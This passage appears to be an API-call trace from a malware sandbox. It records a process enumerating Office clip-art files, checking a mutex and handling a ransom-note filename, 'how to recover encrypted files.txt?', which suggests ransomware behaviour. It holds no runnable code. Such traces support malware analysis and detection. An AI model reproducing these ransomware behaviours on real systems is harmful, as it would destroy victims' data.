lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.461] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.461] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00126_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.462] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0059.462] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.462] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.462] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.462] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.462] GlobalUnlock (hMem=0x44000c) returned 0 [0059.462] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.462] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.462] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.462] GlobalUnlock (hMem=0x44000c) returned 0 [0059.462] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.462] GlobalUnlock (hMem=0x440004) returned 0 [0059.462] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.462] CharLowerBuffW (in: lpsz="AG00129_.GIF", cchLength=0xc | out: lpsz="ag00129_.gif") returned 0xc [0059.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.463] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.463] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00129_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.463] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0059.463] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.463] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.463] GlobalLock (hMem=0x440004) returned 0x550170 [0059.463] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.463] GlobalUnlock (hMem=0x440004) returned 0 [0059.463] GlobalLock (hMem=0x440004) returned 0x550170 [0059.463] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.463] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.463] GlobalUnlock (hMem=0x440004) returned 0 [0059.463] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.463] GlobalUnlock (hMem=0x44000c) returned 0 [0059.463] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.464] CharLowerBuffW (in: lpsz="AG00130_.GIF", cchLength=0xc | out: lpsz="ag00130_.gif") returned 0xc [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.464] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.464] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00130_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.464] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0059.464] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.464] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.464] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.464] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.465] GlobalUnlock (hMem=0x44000c) returned 0 [0059.465] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.465] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.465] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.465] GlobalUnlock (hMem=0x44000c) returned 0 [0059.465] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.465] GlobalUnlock (hMem=0x440004) returned 0 [0059.465] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.465] CharLowerBuffW (in: lpsz="AG00135_.GIF", cchLength=0xc | out: lpsz="ag00135_.gif") returned 0xc [0059.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF", lpUsedDefaultChar=0x0) returned 63 [0059.466] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0059.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifT\\PUB60COR\\AG00135_.GIF", lpUsedDefaultChar=0x0) returned 4 [0059.466] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0059.466] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.466] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.466] GlobalLock (hMem=0x440004) returned 0x550170 [0059.466] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.466] GlobalUnlock (hMem=0x440004) returned 0 [0059.466] GlobalLock (hMem=0x440004) returned 0x550170 [0059.466] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.466] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.466] GlobalUnlock (hMem=0x440004) returned 0 [0059.466] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.466] GlobalUnlock (hMem=0x44000c) returned 0 [0059.466] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.466] CharLowerBuffW (in: lpsz="AG00139_.GIF", cchLength=0xc | out: lpsz="ag00139_.gif") returned 0xc [0059.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", 